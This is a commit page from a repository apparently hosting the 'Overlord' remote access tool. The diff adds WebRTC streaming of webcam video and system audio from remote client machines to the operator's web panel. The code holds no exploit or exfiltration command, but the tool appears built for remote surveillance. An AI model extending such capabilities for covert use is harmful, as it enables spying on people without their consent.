vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

web rtc for webcam, audio, etc.

Browse Source
This commit is contained in:
KingKDot
2026-05-13 20:19:21 -05:00
parent 05fe31f04e
commit bf093f5a7d
20 changed files with 986 additions and 199 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Server/public/assets/remotedesktop.js
+121 -20
View File
@@ -183,33 +183,124 @@ import { P2PClient } from "./webrtc-p2p.js";
}
}
function connectAudio() {
if (audioWs && audioWs.readyState === WebSocket.OPEN) return;
// Create AudioContext in click/change handler so the browser trusts the user gesture.
initAudioPlayback();
if (audioPlayCtx?.state === "suspended") audioPlayCtx.resume();
const proto = location.protocol === "https:" ? "wss:" : "ws:";
audioWs = new WebSocket(proto + "//" + location.host + "/api/clients/" + encodeURIComponent(clientId) + "/desktop-audio/ws");
audioWs.binaryType = "arraybuffer";
audioWs.onopen = function () {
audioWs.send(JSON.stringify({ type: "start", source: "system" }));
};
audioWs.onmessage = function (ev) {
if (typeof ev.data === "string") return;
const bytes = new Uint8Array(ev.data);
if (bytes.byteLength > 1) appendAudioPcm(bytes);
};
audioWs.onclose = function () { cleanupAudio(false); };
audioWs.onerror = function () {};
const audioTransport = document.getElementById("audioTransport");
const webrtcAudio = document.getElementById("webrtcAudio");
let audioWhep = null;
let audioP2P = null;
function getAudioTransport() {
return audioTransport ? String(audioTransport.value || "off") : "off";
}
function disconnectAudio() {
async function stopAudioWebrtc() {
const w = audioWhep;
audioWhep = null;
if (w) { try { await w.stop(); } catch {} }
const p = audioP2P;
audioP2P = null;
if (p) { try { await p.stop(); } catch {} }
}
async function startAudioWhep(whepPath) {
await stopAudioWebrtc();
audioWhep = new WhepClient({
whepPath,
audioEl: webrtcAudio,
onState: (s) => console.debug("audio-webrtc[Relayed]: state", s),
});
try {
await audioWhep.start();
} catch (err) {
console.warn("audio: WHEP start failed", err);
audioWhep = null;
}
}
function startAudioP2P() {
if (!audioWs || audioWs.readyState !== WebSocket.OPEN) return;
audioP2P = new P2PClient({
audioEl: webrtcAudio,
send: (msg) => {
if (audioWs && audioWs.readyState === WebSocket.OPEN) {
audioWs.send(JSON.stringify(msg));
}
},
onState: (s) => console.debug("audio-webrtc[P2P]: state", s),
});
audioP2P.start().catch((err) => {
console.warn("audio: P2P start failed", err);
audioP2P = null;
});
}
function connectAudio() {
if (audioWs && audioWs.readyState === WebSocket.OPEN) return;
const mode = getAudioTransport();
// The WS-PCM path requires an AudioContext — only init it when we
// actually need it (WebRTC plays through the <audio> element instead).
if (mode === "off") {
initAudioPlayback();
if (audioPlayCtx?.state === "suspended") audioPlayCtx.resume();
}
const proto = location.protocol === "https:" ? "wss:" : "ws:";
// Each handler captures `ws` locally instead of reading the module-scope
// `audioWs`. When the operator switches transports, the previous socket's
// close event fires asynchronously and would otherwise null out the
// freshly created replacement.
const ws = new WebSocket(proto + "//" + location.host + "/api/clients/" + encodeURIComponent(clientId) + "/desktop-audio/ws");
audioWs = ws;
ws.binaryType = "arraybuffer";
ws.onopen = function () {
const start = { type: "start", source: "system" };
if (mode === "relayed") start.webrtc = true;
try { ws.send(JSON.stringify(start)); } catch (err) {
console.warn("audio: send start failed", err);
return;
}
if (mode === "p2p") startAudioP2P();
};
ws.onmessage = function (ev) {
if (typeof ev.data === "string") {
let msg;
try { msg = JSON.parse(ev.data); } catch { return; }
if (!msg || typeof msg.type !== "string") return;
if (msg.type === "webrtc_ready" && typeof msg.whepPath === "string") {
startAudioWhep(msg.whepPath);
return;
}
if (msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") {
if (audioP2P) audioP2P.onAnswer(msg.sdp);
return;
}
if (msg.type === "webrtc_p2p_ice") {
if (audioP2P) audioP2P.onRemoteCandidate(msg);
return;
}
return;
}
const bytes = new Uint8Array(ev.data);
// Only feed PCM into the ScriptProcessor when the WS path is the active
// playback — WebRTC modes ignore the parallel PCM uplink.
if (mode === "off" && bytes.byteLength > 1) appendAudioPcm(bytes);
};
ws.onclose = function () {
// Stale closes from a previous switch must not stomp the current
// socket. Only do the global teardown if this WS is still active.
if (audioWs === ws) {
stopAudioWebrtc();
cleanupAudio(false);
}
};
ws.onerror = function () {};
}
function disconnectAudio(uncheckBox = true) {
if (audioWs) {
try { audioWs.send(JSON.stringify({ type: "stop" })); } catch {}
try { audioWs.close(); } catch {}
audioWs = null;
}
cleanupAudio(true);
stopAudioWebrtc();
cleanupAudio(uncheckBox);
}
function cleanupAudio(uncheckBox) {
@@ -878,6 +969,16 @@ import { P2PClient } from "./webrtc-p2p.js";
}
});
}
if (audioTransport) {
audioTransport.addEventListener("change", function () {
// Reconnect with the new transport if audio is already on. Keep the
// checkbox checked — the user is switching modes, not turning audio off.
if (audioCtrl && audioCtrl.checked) {
disconnectAudio(false);
connectAudio();
}
});
}
if (qualitySlider) {
updateQualityLabel(qualitySlider.value);
Overlord-Server/public/assets/webcam.js
+94 -1
View File
@@ -1,5 +1,7 @@
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
import { checkFeatureAccess } from "./feature-gate.js";
import { WhepClient } from "./whep.js";
import { P2PClient } from "./webrtc-p2p.js";
(async function () {
const clientId = new URLSearchParams(location.search).get("clientId");
@@ -27,6 +29,17 @@ import { checkFeatureAccess } from "./feature-gate.js";
const statusEl = document.getElementById("streamStatus");
const canvas = document.getElementById("frameCanvas");
const ctx = canvas.getContext("2d");
const webrtcMode = document.getElementById("webrtcMode");
const webrtcVideo = document.getElementById("webrtcVideo");
let whepClient = null;
let p2pClient = null;
function getWebrtcMode() {
return webrtcMode ? String(webrtcMode.value || "off") : "off";
}
function setWebrtcViewActive(active) {
if (canvas) canvas.style.display = active ? "none" : "block";
if (webrtcVideo) webrtcVideo.style.display = active ? "block" : "none";
}
clientLabel.textContent = clientId;
@@ -350,8 +363,76 @@ import { checkFeatureAccess } from "./feature-gate.js";
ws.send(encodeMsgpack({ type, ...payload }));
}
async function startWhep(whepPath) {
await stopAllWebrtc();
if (!webrtcVideo) return;
whepClient = new WhepClient({
whepPath,
videoEl: webrtcVideo,
onState: (s) => {
if (s === "connected") setStreamState("streaming", "Streaming (WebRTC Relayed)");
else if (s === "failed" || s === "disconnected") setWebrtcViewActive(false);
},
});
try {
await whepClient.start();
setWebrtcViewActive(true);
} catch (err) {
console.warn("webcam: WHEP start failed, falling back to canvas", err);
setWebrtcViewActive(false);
whepClient = null;
}
}
async function startP2P() {
await stopAllWebrtc();
if (!webrtcVideo) return;
p2pClient = new P2PClient({
videoEl: webrtcVideo,
send: (msg) => {
if (ws && ws.readyState === WebSocket.OPEN) ws.send(encodeMsgpack(msg));
},
onState: (s) => {
if (s === "connected") setStreamState("streaming", "Streaming (WebRTC P2P)");
else if (s === "failed" || s === "disconnected") setWebrtcViewActive(false);
},
});
try {
await p2pClient.start();
setWebrtcViewActive(true);
} catch (err) {
console.warn("webcam: P2P start failed, falling back to canvas", err);
setWebrtcViewActive(false);
const c = p2pClient;
p2pClient = null;
if (c) { try { await c.stop(); } catch {} }
}
}
async function stopAllWebrtc() {
setWebrtcViewActive(false);
const w = whepClient;
whepClient = null;
if (w) { try { await w.stop(); } catch {} }
const p = p2pClient;
p2pClient = null;
if (p) { try { await p.stop(); } catch {} }
}
function handleControlMessage(msg) {
if (!msg || typeof msg !== "object") return;
if (msg.type === "webrtc_ready" && typeof msg.whepPath === "string") {
startWhep(msg.whepPath);
return;
}
if (msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") {
if (p2pClient) p2pClient.onAnswer(msg.sdp);
return;
}
if (msg.type === "webrtc_p2p_ice") {
if (p2pClient) p2pClient.onRemoteCandidate(msg);
return;
}
if (msg.type === "webcam_devices") {
renderCameraList(msg.devices, msg.selected);
return;
@@ -404,11 +485,13 @@ import { checkFeatureAccess } from "./feature-gate.js";
};
ws.onclose = () => {
stopAllWebrtc();
setStreamState("disconnected", "Disconnected");
setTimeout(connect, 3000);
};
ws.onerror = () => {
stopAllWebrtc();
setStreamState("error", "Connection error");
};
}
@@ -416,13 +499,23 @@ import { checkFeatureAccess } from "./feature-gate.js";
startBtn.addEventListener("click", () => {
desiredStreaming = true;
applyFpsSettings();
send("webcam_start");
const mode = getWebrtcMode();
if (mode === "relayed") {
// Server replies with webrtc_ready; startWhep happens then.
send("webcam_start", { webrtc: true });
} else if (mode === "p2p") {
send("webcam_start");
startP2P();
} else {
send("webcam_start");
}
setStreamState("starting", "Starting");
});
stopBtn.addEventListener("click", () => {
desiredStreaming = false;
send("webcam_stop");
stopAllWebrtc();
setStreamState("stopping", "Stopping");
setTimeout(() => {
if (streamState === "stopping") {
Overlord-Server/public/assets/webrtc-p2p.js
+15 -7
View File
@@ -16,13 +16,15 @@
export class P2PClient {
/**
* @param {object} opts
* @param {HTMLVideoElement} opts.videoEl
* @param {(msg: object) => void} opts.send Send a JSON-encodable msg over the RD WS.
* @param {HTMLVideoElement} [opts.videoEl]
* @param {HTMLAudioElement} [opts.audioEl]
* @param {(msg: object) => void} opts.send Send a JSON-encodable msg over the viewer's WS.
* @param {(state: string) => void} [opts.onState]
* @param {string[]} [opts.iceServers] STUN URLs. Default: Google public STUN.
*/
constructor(opts) {
this.videoEl = opts.videoEl;
this.videoEl = opts.videoEl || null;
this.audioEl = opts.audioEl || null;
this.send = opts.send;
this.onState = opts.onState || (() => {});
this.iceServers = opts.iceServers || ["stun:stun.l.google.com:19302"];
@@ -38,13 +40,18 @@ export class P2PClient {
});
this.pc = pc;
pc.addTransceiver("video", { direction: "recvonly" });
if (this.videoEl) pc.addTransceiver("video", { direction: "recvonly" });
if (this.audioEl) pc.addTransceiver("audio", { direction: "recvonly" });
pc.ontrack = (ev) => {
if (ev.track.kind !== "video") return;
const stream = ev.streams[0] || new MediaStream([ev.track]);
this.videoEl.srcObject = stream;
this.videoEl.play().catch(() => {});
if (ev.track.kind === "video" && this.videoEl) {
this.videoEl.srcObject = stream;
this.videoEl.play().catch(() => {});
} else if (ev.track.kind === "audio" && this.audioEl) {
this.audioEl.srcObject = stream;
this.audioEl.play().catch(() => {});
}
};
pc.onicecandidate = (ev) => {
// Trickle ICE: empty candidate signals end-of-gathering — we don't
@@ -104,5 +111,6 @@ export class P2PClient {
}
try { this.send({ type: "webrtc_p2p_stop" }); } catch {}
if (this.videoEl) this.videoEl.srcObject = null;
if (this.audioEl) this.audioEl.srcObject = null;
}
}
Overlord-Server/public/assets/whep.js
+17 -10
View File
@@ -11,13 +11,16 @@
export class WhepClient {
/**
* @param {object} opts
* @param {string} opts.whepPath Path under the same origin, e.g. "/api/webrtc/agents/abc/whep"
* @param {HTMLVideoElement} opts.videoEl
* @param {string} opts.whepPath Path under the same origin, e.g. "/api/webrtc/agents/abc/desktop/whep"
* @param {HTMLVideoElement} [opts.videoEl] Attach the video track here.
* @param {HTMLAudioElement} [opts.audioEl] Attach the audio track here.
* Default: hidden <audio> appended to <body>.
* @param {(state: string) => void} [opts.onState]
*/
constructor(opts) {
this.whepPath = opts.whepPath;
this.videoEl = opts.videoEl;
this.videoEl = opts.videoEl || null;
this.audioEl = opts.audioEl || null;
this.onState = opts.onState || (() => {});
this.pc = null;
this.resourceURL = "";
@@ -28,13 +31,18 @@ export class WhepClient {
const pc = new RTCPeerConnection({});
this.pc = pc;
pc.addTransceiver("video", { direction: "recvonly" });
if (this.videoEl) pc.addTransceiver("video", { direction: "recvonly" });
if (this.audioEl) pc.addTransceiver("audio", { direction: "recvonly" });
pc.ontrack = (ev) => {
if (ev.track.kind !== "video") return;
const stream = ev.streams[0] || new MediaStream([ev.track]);
this.videoEl.srcObject = stream;
this.videoEl.play().catch(() => {});
if (ev.track.kind === "video" && this.videoEl) {
this.videoEl.srcObject = stream;
this.videoEl.play().catch(() => {});
} else if (ev.track.kind === "audio" && this.audioEl) {
this.audioEl.srcObject = stream;
this.audioEl.play().catch(() => {});
}
};
pc.onconnectionstatechange = () => {
this.onState(pc.connectionState);
@@ -77,9 +85,8 @@ export class WhepClient {
if (pc) {
try { pc.close(); } catch {}
}
if (this.videoEl) {
this.videoEl.srcObject = null;
}
if (this.videoEl) this.videoEl.srcObject = null;
if (this.audioEl) this.audioEl.srcObject = null;
}
}
Overlord-Server/public/remotedesktop.html
+9
View File
@@ -145,6 +145,15 @@
<label class="flex items-center gap-2 text-sm text-slate-200" title="Stream system audio from the remote machine"
><input type="checkbox" id="audioCtrl" /> <i class="fa-solid fa-volume-high text-slate-400"></i> Audio</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Audio transport. WS: raw PCM over the existing WebSocket (current default). WebRTC modes use G.711 over the WebRTC track instead.">
<span class="text-slate-400">Audio via</span>
<select id="audioTransport" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100">
<option value="off" selected>WS</option>
<option value="p2p">WebRTC P2P</option>
<option value="relayed">WebRTC Relayed</option>
</select>
</label>
<audio id="webrtcAudio" autoplay style="display: none"></audio>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Smooths mouse input for steadier movement">
<span class="text-slate-400">Smoothing</span>
<input id="smoothingSlider" type="range" min="0" max="80" step="5" value="20" class="accent-emerald-400" />
Overlord-Server/public/webcam.html
+16
View File
@@ -68,6 +68,14 @@
<input type="checkbox" id="codecH264" checked /> H.264
</label>
<span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
<label class="flex items-center gap-2 text-slate-200" title="Streaming transport. P2P: browser ↔ agent direct (H.264 required). Relayed: through MediaMTX. Canvas: existing WS path.">
<span class="text-slate-200">Transport</span>
<select id="webrtcMode" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100">
<option value="off" selected>Canvas</option>
<option value="p2p">WebRTC P2P</option>
<option value="relayed">WebRTC Relayed</option>
</select>
</label>
</div>
<div class="flex items-center gap-2">
<button id="startBtn" class="button primary">
@@ -114,6 +122,14 @@
height="720"
style="display: block; max-width: 100%; max-height: 100%; width: auto; height: auto;"
></canvas>
<video
id="webrtcVideo"
class="bg-slate-950"
autoplay
playsinline
muted
style="display: none; max-width: 100%; max-height: 100%; width: auto; height: auto;"
></video>
</div>
</div>
</div>